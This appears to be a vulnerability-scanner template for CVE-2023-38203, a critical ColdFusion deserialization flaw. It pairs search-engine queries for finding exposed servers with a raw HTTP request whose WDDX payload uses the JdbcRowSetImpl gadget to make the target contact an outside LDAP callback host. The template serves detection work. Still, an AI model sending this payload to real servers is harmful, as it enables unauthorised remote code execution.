id: CVE-2023-38203

info:
  name: Adobe ColdFusion - Deserialization of Untrusted Data
  author: yiran
  severity: critical
  description: |
    Adobe ColdFusion versions 2018u17 (and earlier), 2021u7 (and earlier) and 2023u1 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to Adobe ColdFusion version ColdFusion 2018 Update 18, ColdFusion 2021 Update 8, ColdFusion 2023 Update2 or later to mitigate this vulnerability.
  reference:
    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38203
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38203
    cwe-id: CWE-502
    epss-score: 0.97037
    epss-percentile: 0.99755
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev
variables:
  callback: "{{interactsh-url}}"
  jndi: "ldap%3a//{{callback}}/zdfzfd"

http:
  - raw:
      - |
        POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(body, "ColdFusion documentation")
        condition: and
# digest: 490a004630440220144fb9ce58d4c6f296f13fa07ffb2364818e73da1335ea611586feb3be308938022077a5fc918cc97ccd314fa021d7931426d9394648bd7c376042ad2d2043e8c22e:922c64590222798bb761d5b6d8e72950